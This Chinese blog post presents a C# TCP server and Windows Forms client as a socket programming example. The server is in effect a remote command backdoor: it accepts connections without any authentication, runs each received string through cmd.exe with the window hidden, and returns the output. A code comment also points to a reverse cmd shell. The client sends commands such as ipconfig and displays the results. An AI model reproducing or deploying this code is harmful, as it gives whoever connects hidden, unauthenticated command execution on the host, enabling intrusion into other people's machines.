C#实现的Socket服务器端、客户端代码分享

作者:junjie 时间:2021-09-29 00:22:28 

服务端:


using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace Server
{
 class Program
 {
   static void Main(string[] args)
   {
     Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
     IPEndPoint point = new IPEndPoint(IPAddress.Parse("127.0.0.1"),55555);

try
     {
       server.Bind(point);
       server.Listen(10);
       //监听本地端口
       System.Console.WriteLine("开始监听本地端口:55555");
       while (true)
       {
         Socket sock = server.Accept();
         byte[] buffer = new byte[1024 * 1024];
         int n = sock.Receive(buffer);
         String cmd = Encoding.UTF8.GetString(buffer, 0, n);
         String result = execCmd(cmd);
         byte[] bytes = Encoding.UTF8.GetBytes(result);
         sock.Send(bytes);
       }

}
     catch (Exception ex)
     {
       System.Console.WriteLine(ex.Message);
       return;
     }
   }

//重定向输入输出流,并且用cmd执行命令
   private static String execCmd(String cmd)
   {
     System.Diagnostics.Process p = new System.Diagnostics.Process();
     p.StartInfo = new System.Diagnostics.ProcessStartInfo();
     p.StartInfo.FileName = "cmd.exe";
     p.StartInfo.Arguments ="/c "+cmd;
     //隐藏程序外壳
     p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
     //在这里重定向输出即可,因为不是交互式的,如果需要交互式的直接反弹cmd即可
     p.StartInfo.RedirectStandardOutput = true;
     p.StartInfo.UseShellExecute = false;
     p.StartInfo.CreateNoWindow = true;
     p.Start();
     return p.StandardOutput.ReadToEnd();
   }
 }
}

客户端:


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Windows.Forms;

/*
*  Code By iswin
*/

namespace Client
{
 public partial class main : Form
 {
   public main()
   {
     InitializeComponent();
     this.ip.Text="127.0.0.1";
     this.cmd.Text="ipconfig";
     this.port.Text = "55555";
   }

private void send_Click(object sender, EventArgs e)
   {
     Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
     String remoteip=this.ip.Text;
     String command = this.cmd.Text;
     IPAddress ip = IPAddress.Parse(remoteip);
     IPEndPoint point=new IPEndPoint(ip,int.Parse(port.Text));
     try
     {
       this.recvmsg.Text = "开始连接服务端:" + remoteip + ":" + port.Text + "\n";
       client.Connect(point);
       this.recvmsg.Text="连接服务端!\n给服务端发送指令:"+command;
       byte[] buffer = Encoding.UTF8.GetBytes(command);

//讲输入的指令发送到服务端
       client.Send(buffer);

//接受服务端返回的数据
       recvmsgs(client);

client.Close();

}
     catch (Exception ex)
     {
       this.recvmsg.Text = ex.Message;
       MessageBox.Show(ex.Message);
       return;
     }
   }

//接受服务端发送来的消息
   private void recvmsgs(Socket client)
   {
       try
       {
         byte[] buffer = new byte[1024 * 1024];
         int size = client.Receive(buffer);
         String recv = Encoding.UTF8.GetString(buffer, 0, size);
         this.recvmsg.Text = "\n" + recv;
       }
       catch (Exception ex)
       {
         MessageBox.Show(ex.Message);
         return;
       }
   }
 }
}
标签:C#,Socket,服务器端,客户端
0
投稿

猜你喜欢

  • Spring Boot集成Ehcache缓存解决方式

    2023-05-13 08:27:27
  • springboot结合vue实现增删改查及分页查询

    2023-11-24 15:53:44
  • SpringBoot整合Quartz实现定时任务详解

    2021-11-22 06:40:57
  • Linux+Docker+SpringBoot+IDEA一键自动化部署的详细步骤

    2023-08-12 15:25:39
  • 基于Unity3D实现仿真时钟详解

    2021-05-24 15:11:34
  • Java拦截器Interceptor实现原理及代码示例

    2023-11-04 03:49:32
  • Java中StringUtils工具类进行String为空的判断解析

    2022-10-16 06:56:53
  • c#线程同步使用详解示例

    2021-06-15 19:22:58
  • SpringBoot+hutool实现图片验证码

    2021-06-17 02:55:27
  • Java实现输出数字三角形实例代码

    2023-08-25 02:09:51
  • java基础的详细了解第九天

    2022-11-11 20:53:50
  • 浅谈maven单元测试设置代理

    2022-03-14 20:23:04
  • Android SharedPreferences实现记住密码和自动登录界面

    2023-06-15 20:07:00
  • Android 调用发送短信的方法

    2023-05-30 22:56:40
  • java复制文件的4种方式及拷贝文件到另一个目录下的实例代码

    2023-05-15 16:03:25
  • Android实现网易云音乐高仿版流程

    2023-05-13 22:08:50
  • Java获取文件的类型和扩展名的实现方法

    2021-09-24 08:56:56
  • 一篇文章弄懂kotlin的扩展方法

    2022-06-05 08:06:20
  • Java实现简易界面通讯录

    2023-02-09 20:12:59
  • Java 数据结构链表操作实现代码

    2021-08-12 17:57:58
  • asp之家 软件编程 m.aspxhome.com